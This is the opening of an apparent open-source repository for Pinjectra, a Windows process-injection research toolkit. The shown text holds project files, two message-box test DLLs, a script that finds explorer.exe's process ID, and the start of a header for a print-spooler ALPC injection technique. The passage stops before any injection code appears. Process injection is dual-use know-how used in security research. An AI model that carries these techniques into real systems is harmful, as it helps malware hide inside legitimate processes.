├── .gitignore ├── LICENSE ├── MsgBoxOnGetMsgProc ├── MsgBoxOnGetMsgProc.vcxproj ├── MsgBoxOnGetMsgProc.vcxproj.filters └── dllmain_getmsgproc.cpp ├── MsgBoxOnProcessAttach ├── MsgBoxOnProcessAttach.vcxproj ├── MsgBoxOnProcessAttach.vcxproj.filters └── dllmain_msgbox.cpp ├── PIDOF_EXPLORER.bat ├── Pinjector ├── ALPC.cpp ├── ALPC.h ├── Adapters.cpp ├── CFMA_MVOF_NUVOS_NMVOS.cpp ├── CFMA_MVOF_NUVOS_NMVOS.h ├── CFMA_MVOF_OP_PNMVOS.cpp ├── CFMA_MVOF_OP_PNMVOS.h ├── CreateRemoteThread.cpp ├── CreateRemoteThread.h ├── CtrlInject.cpp ├── CtrlInject.h ├── DynamicPayloads.cpp ├── DynamicPayloads.h ├── ExecutionTechnique.h ├── GhostWriting.cpp ├── GhostWriting.h ├── HookProcProvider.h ├── LLA_GPA.cpp ├── LLA_GPA.h ├── NQAT_WITH_MEMSET.cpp ├── NQAT_WITH_MEMSET.h ├── OP_VAE_WPM.cpp ├── OP_VAE_WPM.h ├── OT_OP_VAE_GAAA.cpp ├── OT_OP_VAE_GAAA.h ├── PROPagate.cpp ├── PROPagate.h ├── Pinjector.vcxproj ├── Pinjector.vcxproj.filters ├── Pinjectra.rc ├── PinjectraDemo.cpp ├── PinjectraPacket.h ├── QueueUserAPC.cpp ├── QueueUserAPC.h ├── SIR.cpp ├── SIR.h ├── SetWindowLongPtrA.cpp ├── SetWindowLongPtrA.h ├── StaticPayloads.c ├── StaticPayloads.h ├── VAE_WPM.cpp ├── VAE_WPM.h ├── WindowsHook.cpp ├── WindowsHook.h ├── WritingTechniques.h ├── memmem.c ├── memmem.h ├── misc.c ├── misc.h └── ntapi.h ├── Pinjectra.sln ├── README.md └── TestProcess ├── TestProcess.c ├── TestProcess.vcxproj └── TestProcess.vcxproj.filters /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.suo 8 | *.user 9 | *.userosscache 10 | *.sln.docstates 11 | 12 | # User-specific files (MonoDevelop/Xamarin Studio) 13 | *.userprefs 14 | 15 | # Build results 16 | [Dd]ebug/ 17 | [Dd]ebugPublic/ 18 | [Rr]elease/ 19 | [Rr]eleases/ 20 | x64/ 21 | x86/ 22 | bld/ 23 | [Bb]in/ 24 | [Oo]bj/ 25 | [Ll]og/ 26 | 27 | # Visual Studio 2015/2017 cache/options directory 28 | .vs/ 29 | # Uncomment if you have tasks that create the project's static files in wwwroot 30 | #wwwroot/ 31 | 32 | # Visual Studio 2017 auto generated files 33 | Generated\ Files/ 34 | 35 | # MSTest test Results 36 | [Tt]est[Rr]esult*/ 37 | [Bb]uild[Ll]og.* 38 | 39 | # NUNIT 40 | *.VisualState.xml 41 | TestResult.xml 42 | 43 | # Build Results of an ATL Project 44 | [Dd]ebugPS/ 45 | [Rr]eleasePS/ 46 | dlldata.c 47 | 48 | # Benchmark Results 49 | BenchmarkDotNet.Artifacts/ 50 | 51 | # .NET Core 52 | project.lock.json 53 | project.fragment.lock.json 54 | artifacts/ 55 | **/Properties/launchSettings.json 56 | 57 | # StyleCop 58 | StyleCopReport.xml 59 | 60 | # Files built by Visual Studio 61 | *_i.c 62 | *_p.c 63 | *_i.h 64 | *.ilk 65 | *.meta 66 | *.obj 67 | *.iobj 68 | *.pch 69 | *.pdb 70 | *.ipdb 71 | *.pgc 72 | *.pgd 73 | *.rsp 74 | *.sbr 75 | *.tlb 76 | *.tli 77 | *.tlh 78 | *.tmp 79 | *.tmp_proj 80 | *.log 81 | *.vspscc 82 | *.vssscc 83 | .builds 84 | *.pidb 85 | *.svclog 86 | *.scc 87 | 88 | # Chutzpah Test files 89 | _Chutzpah* 90 | 91 | # Visual C++ cache files 92 | ipch/ 93 | *.aps 94 | *.ncb 95 | *.opendb 96 | *.opensdf 97 | *.sdf 98 | *.cachefile 99 | *.VC.db 100 | *.VC.VC.opendb 101 | 102 | # Visual Studio profiler 103 | *.psess 104 | *.vsp 105 | *.vspx 106 | *.sap 107 | 108 | # Visual Studio Trace Files 109 | *.e2e 110 | 111 | # TFS 2012 Local Workspace 112 | $tf/ 113 | 114 | # Guidance Automation Toolkit 115 | *.gpState 116 | 117 | # ReSharper is a .NET coding add-in 118 | _ReSharper*/ 119 | *.[Rr]e[Ss]harper 120 | *.DotSettings.user 121 | 122 | # JustCode is a .NET coding add-in 123 | .JustCode 124 | 125 | # TeamCity is a build add-in 126 | _TeamCity* 127 | 128 | # DotCover is a Code Coverage Tool 129 | *.dotCover 130 | 131 | # AxoCover is a Code Coverage Tool 132 | .axoCover/* 133 | !.axoCover/settings.json 134 | 135 | # Visual Studio code coverage results 136 | *.coverage 137 | *.coveragexml 138 | 139 | # NCrunch 140 | _NCrunch_* 141 | .*crunch*.local.xml 142 | nCrunchTemp_* 143 | 144 | # MightyMoose 145 | *.mm.* 146 | AutoTest.Net/ 147 | 148 | # Web workbench (sass) 149 | .sass-cache/ 150 | 151 | # Installshield output folder 152 | [Ee]xpress/ 153 | 154 | # DocProject is a documentation generator add-in 155 | DocProject/buildhelp/ 156 | DocProject/Help/*.HxT 157 | DocProject/Help/*.HxC 158 | DocProject/Help/*.hhc 159 | DocProject/Help/*.hhk 160 | DocProject/Help/*.hhp 161 | DocProject/Help/Html2 162 | DocProject/Help/html 163 | 164 | # Click-Once directory 165 | publish/ 166 | 167 | # Publish Web Output 168 | *.[Pp]ublish.xml 169 | *.azurePubxml 170 | # Note: Comment the next line if you want to checkin your web deploy settings, 171 | # but database connection strings (with potential passwords) will be unencrypted 172 | *.pubxml 173 | *.publishproj 174 | 175 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 176 | # checkin your Azure Web App publish settings, but sensitive information contained 177 | # in these scripts will be unencrypted 178 | PublishScripts/ 179 | 180 | # NuGet Packages 181 | *.nupkg 182 | # The packages folder can be ignored because of Package Restore 183 | **/[Pp]ackages/* 184 | # except build/, which is used as an MSBuild target. 185 | !**/[Pp]ackages/build/ 186 | # Uncomment if necessary however generally it will be regenerated when needed 187 | #!**/[Pp]ackages/repositories.config 188 | # NuGet v3's project.json files produces more ignorable files 189 | *.nuget.props 190 | *.nuget.targets 191 | 192 | # Microsoft Azure Build Output 193 | csx/ 194 | *.build.csdef 195 | 196 | # Microsoft Azure Emulator 197 | ecf/ 198 | rcf/ 199 | 200 | # Windows Store app package directories and files 201 | AppPackages/ 202 | BundleArtifacts/ 203 | Package.StoreAssociation.xml 204 | _pkginfo.txt 205 | *.appx 206 | 207 | # Visual Studio cache files 208 | # files ending in .cache can be ignored 209 | *.[Cc]ache 210 | # but keep track of directories ending in .cache 211 | !*.[Cc]ache/ 212 | 213 | # Others 214 | ClientBin/ 215 | ~$* 216 | *~ 217 | *.dbmdl 218 | *.dbproj.schemaview 219 | *.jfm 220 | *.pfx 221 | *.publishsettings 222 | orleans.codegen.cs 223 | 224 | # Including strong name files can present a security risk 225 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 226 | #*.snk 227 | 228 | # Since there are multiple workflows, uncomment next line to ignore bower_components 229 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 230 | #bower_components/ 231 | 232 | # RIA/Silverlight projects 233 | Generated_Code/ 234 | 235 | # Backup & report files from converting an old project file 236 | # to a newer Visual Studio version. Backup files are not needed, 237 | # because we have git ;-) 238 | _UpgradeReport_Files/ 239 | Backup*/ 240 | UpgradeLog*.XML 241 | UpgradeLog*.htm 242 | ServiceFabricBackup/ 243 | *.rptproj.bak 244 | 245 | # SQL Server files 246 | *.mdf 247 | *.ldf 248 | *.ndf 249 | 250 | # Business Intelligence projects 251 | *.rdl.data 252 | *.bim.layout 253 | *.bim_*.settings 254 | *.rptproj.rsuser 255 | 256 | # Microsoft Fakes 257 | FakesAssemblies/ 258 | 259 | # GhostDoc plugin setting file 260 | *.GhostDoc.xml 261 | 262 | # Node.js Tools for Visual Studio 263 | .ntvs_analysis.dat 264 | node_modules/ 265 | 266 | # Visual Studio 6 build log 267 | *.plg 268 | 269 | # Visual Studio 6 workspace options file 270 | *.opt 271 | 272 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 273 | *.vbw 274 | 275 | # Visual Studio LightSwitch build output 276 | **/*.HTMLClient/GeneratedArtifacts 277 | **/*.DesktopClient/GeneratedArtifacts 278 | **/*.DesktopClient/ModelManifest.xml 279 | **/*.Server/GeneratedArtifacts 280 | **/*.Server/ModelManifest.xml 281 | _Pvt_Extensions 282 | 283 | # Paket dependency manager 284 | .paket/paket.exe 285 | paket-files/ 286 | 287 | # FAKE - F# Make 288 | .fake/ 289 | 290 | # JetBrains Rider 291 | .idea/ 292 | *.sln.iml 293 | 294 | # CodeRush 295 | .cr/ 296 | 297 | # Python Tools for Visual Studio (PTVS) 298 | __pycache__/ 299 | *.pyc 300 | 301 | # Cake - Uncomment if you are using it 302 | # tools/** 303 | # !tools/packages.config 304 | 305 | # Tabs Studio 306 | *.tss 307 | 308 | # Telerik's JustMock configuration file 309 | *.jmconfig 310 | 311 | # BizTalk build output 312 | *.btp.cs 313 | *.btm.cs 314 | *.odx.cs 315 | *.xsd.cs 316 | 317 | # OpenCover UI analysis results 318 | OpenCover/ 319 | 320 | # Azure Stream Analytics local run output 321 | ASALocalRun/ 322 | 323 | # MSBuild Binary and Structured Log 324 | *.binlog 325 | 326 | # NVidia Nsight GPU debugger configuration file 327 | *.nvuser 328 | 329 | # MFractors (Xamarin productivity tool) working folder 330 | .mfractor/ 331 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2019, SafeBreach Labs 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /MsgBoxOnGetMsgProc/MsgBoxOnGetMsgProc.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {03EFD090-F799-4071-B684-A3086CF2FA70} 24 | Win32Proj 25 | MsgBoxOnGetMsgProc 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | false 75 | 76 | 77 | true 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | NotUsing 88 | Level3 89 | MaxSpeed 90 | true 91 | true 92 | true 93 | NDEBUG;MSGBOXONGETMSGPROC_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 94 | true 95 | pch.h 96 | 97 | 98 | Windows 99 | true 100 | true 101 | true 102 | false 103 | 104 | 105 | 106 | 107 | Use 108 | Level3 109 | Disabled 110 | true 111 | WIN32;_DEBUG;MSGBOXONGETMSGPROC_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 112 | true 113 | pch.h 114 | 115 | 116 | Windows 117 | true 118 | false 119 | 120 | 121 | 122 | 123 | NotUsing 124 | Level3 125 | Disabled 126 | true 127 | _DEBUG;MSGBOXONGETMSGPROC_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 128 | true 129 | pch.h 130 | 131 | 132 | Windows 133 | true 134 | false 135 | 136 | 137 | 138 | 139 | Use 140 | Level3 141 | MaxSpeed 142 | true 143 | true 144 | true 145 | WIN32;NDEBUG;MSGBOXONGETMSGPROC_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 146 | true 147 | pch.h 148 | 149 | 150 | Windows 151 | true 152 | true 153 | true 154 | false 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | -------------------------------------------------------------------------------- /MsgBoxOnGetMsgProc/MsgBoxOnGetMsgProc.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /MsgBoxOnGetMsgProc/dllmain_getmsgproc.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 34 | // Windows Header Files 35 | #include 36 | 37 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { 38 | switch (fdwReason) { 39 | case DLL_PROCESS_ATTACH: 40 | /* Init Code here */ 41 | break; 42 | 43 | case DLL_THREAD_ATTACH: 44 | /* Thread-specific init code here */ 45 | break; 46 | 47 | case DLL_THREAD_DETACH: 48 | /* Thread-specific cleanup code here. 49 | */ 50 | break; 51 | 52 | case DLL_PROCESS_DETACH: 53 | /* Cleanup code here */ 54 | break; 55 | } 56 | /* The return value is used for successful DLL_PROCESS_ATTACH */ 57 | return TRUE; 58 | } 59 | 60 | extern "C" __declspec(dllexport) LRESULT CALLBACK GetMsgProc(_In_ int code, _In_ WPARAM wParam, _In_ LPARAM lParam) { 61 | MessageBoxA(NULL, "Hello from GetMsgProc", "Hook DLL", MB_OK); 62 | return CallNextHookEx(NULL, code, wParam, lParam); 63 | } 64 | -------------------------------------------------------------------------------- /MsgBoxOnProcessAttach/MsgBoxOnProcessAttach.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {259CE055-7726-4963-AFC5-42C8847BF53D} 24 | Win32Proj 25 | MsgBoxOnProcessAttach 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | false 75 | 76 | 77 | true 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | NotUsing 88 | Level3 89 | MaxSpeed 90 | true 91 | true 92 | true 93 | NDEBUG;MSGBOXONPROCESSATTACH_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 94 | true 95 | pch.h 96 | 97 | 98 | Windows 99 | true 100 | true 101 | true 102 | false 103 | 104 | 105 | 106 | 107 | Use 108 | Level3 109 | Disabled 110 | true 111 | WIN32;_DEBUG;MSGBOXONPROCESSATTACH_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 112 | true 113 | pch.h 114 | 115 | 116 | Windows 117 | true 118 | false 119 | 120 | 121 | 122 | 123 | NotUsing 124 | Level3 125 | Disabled 126 | true 127 | _DEBUG;MSGBOXONPROCESSATTACH_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 128 | true 129 | pch.h 130 | 131 | 132 | Windows 133 | true 134 | false 135 | 136 | 137 | 138 | 139 | Use 140 | Level3 141 | MaxSpeed 142 | true 143 | true 144 | true 145 | WIN32;NDEBUG;MSGBOXONPROCESSATTACH_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 146 | true 147 | pch.h 148 | 149 | 150 | Windows 151 | true 152 | true 153 | true 154 | false 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | -------------------------------------------------------------------------------- /MsgBoxOnProcessAttach/MsgBoxOnProcessAttach.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /MsgBoxOnProcessAttach/dllmain_msgbox.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include 32 | 33 | BOOL APIENTRY DllMain( HMODULE hModule, 34 | DWORD ul_reason_for_call, 35 | LPVOID lpReserved 36 | ) 37 | { 38 | switch (ul_reason_for_call) 39 | { 40 | case DLL_PROCESS_ATTACH: 41 | MessageBoxA(NULL, "SimpleDLL loaded successfully!", "SimpleDll MessageBox", MB_OK); 42 | break; 43 | case DLL_THREAD_ATTACH: 44 | case DLL_THREAD_DETACH: 45 | case DLL_PROCESS_DETACH: 46 | break; 47 | } 48 | return TRUE; 49 | } 50 | -------------------------------------------------------------------------------- /PIDOF_EXPLORER.bat: -------------------------------------------------------------------------------- 1 | @rem Copyright (c) 2019, SafeBreach 2 | @rem All rights reserved. 3 | @rem 4 | @rem Redistribution and use in source and binary forms, with or without 5 | @rem modification, are permitted provided that the following conditions are met: 6 | @rem 7 | @rem * Redistributions of source code must retain the above copyright notice, 8 | @rem this list of conditions and the following disclaimer. 9 | @rem * Redistributions in binary form must reproduce the above copyright 10 | @rem notice, this list of conditions and the following disclaimer in the 11 | @rem documentation and/or other materials provided with the distribution. 12 | @rem * Neither the name of the copyright holder nor the names of its 13 | @rem contributors may be used to endorse or promote products derived from 14 | @rem this software without specific prior written permission. 15 | @rem 16 | @rem THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | @rem AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | @rem IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | @rem ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | @rem LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | @rem CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | @rem SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | @rem INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | @rem CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | @rem ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | @rem POSSIBILITY OF SUCH DAMAGE. 27 | 28 | @echo off 29 | tasklist /v /fo csv | findstr /i "explorer.exe" 30 | -------------------------------------------------------------------------------- /Pinjector/ALPC.h: -------------------------------------------------------------------------------- 1 | // BASED ON 2 | // https://github.com/odzhan/injection/tree/master/spooler 3 | // https://modexp.wordpress.com/2019/03/07/process-injection-print-spooler/ 4 | 5 | // Copyright (c) 2019, SafeBreach 6 | // All rights reserved. 7 | // 8 | // Redistribution and use in source and binary forms, with or without 9 | // modification, are permitted provided that the following conditions are met: 10 | // 11 | // * Redistributions of source code must retain the above copyright notice, 12 | // this list of conditions and the following disclaimer. 13 | // * Redistributions in binary form must reproduce the above copyright 14 | // notice, this list of conditions and the following disclaimer in the 15 | // documentation and/or other materials provided with the distribution. 16 | // * Neither the name of the copyright holder nor the names of its 17 | // contributors may be used to endorse or promote products derived from 18 | // this software without specific prior written permission. 19 | // 20 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 23 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 24 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 25 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 26 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 27 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 28 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 29 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 30 | // POSSIBILITY OF SUCH DAMAGE. 31 | 32 | // AUTHORS: Amit Klein, Itzik Kotler 33 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 34 | 35 | #pragma once 36 | 37 | // Standard Include's 38 | #include 39 | #include 40 | 41 | // Local Include's 42 | #include "ExecutionTechnique.h" 43 | #include "WritingTechniques.h" 44 | 45 | // Macros 46 | #define NT_SUCCESS(x) ((x)>=0) 47 | 48 | #define NTFUNC(f,fname,def) typedef NTSTATUS (* t##f) def;\ 49 | t##f f=(t##f)GetProcAddress(GetModuleHandleA("ntdll"),fname) 50 | 51 | // Datatypes 52 | typedef enum _SYSTEM_INFORMATION_CLASS 53 | { 54 | SystemBasicInformation = 0, 55 | SystemProcessorInformation = 1, // obsolete...delete 56 | SystemPerformanceInformation = 2, 57 | SystemTimeOfDayInformation = 3, 58 | SystemPathInformation = 4, 59 | SystemProcessInformation = 5, 60 | SystemCallCountInformation = 6, 61 | SystemDeviceInformation = 7, 62 | SystemProcessorPerformanceInformation = 8, 63 | SystemFlagsInformation = 9, 64 | SystemCallTimeInformation = 10, 65 | SystemModuleInformation = 11, 66 | SystemLocksInformation = 12, 67 | SystemStackTraceInformation = 13, 68 | SystemPagedPoolInformation = 14, 69 | SystemNonPagedPoolInformation = 15, 70 | SystemHandleInformation = 16, 71 | SystemObjectInformation = 17, 72 | SystemPageFileInformation = 18, 73 | SystemVdmInstemulInformation = 19, 74 | SystemVdmBopInformation = 20, 75 | SystemFileCacheInformation = 21, 76 | SystemPoolTagInformation = 22, 77 | SystemInterruptInformation = 23, 78 | SystemDpcBehaviorInformation = 24, 79 | SystemFullMemoryInformation = 25, 80 | SystemLoadGdiDriverInformation = 26, 81 | SystemUnloadGdiDriverInformation = 27, 82 | SystemTimeAdjustmentInformation = 28, 83 | SystemSummaryMemoryInformation = 29, 84 | SystemMirrorMemoryInformation = 30, 85 | SystemPerformanceTraceInformation = 31, 86 | SystemObsolete0 = 32, 87 | SystemExceptionInformation = 33, 88 | SystemCrashDumpStateInformation = 34, 89 | SystemKernelDebuggerInformation = 35, 90 | SystemContextSwitchInformation = 36, 91 | SystemRegistryQuotaInformation = 37, 92 | SystemExtendServiceTableInformation = 38, 93 | SystemPrioritySeperation = 39, 94 | SystemVerifierAddDriverInformation = 40, 95 | SystemVerifierRemoveDriverInformation = 41, 96 | SystemProcessorIdleInformation = 42, 97 | SystemLegacyDriverInformation = 43, 98 | SystemCurrentTimeZoneInformation = 44, 99 | SystemLookasideInformation = 45, 100 | SystemTimeSlipNotification = 46, 101 | SystemSessionCreate 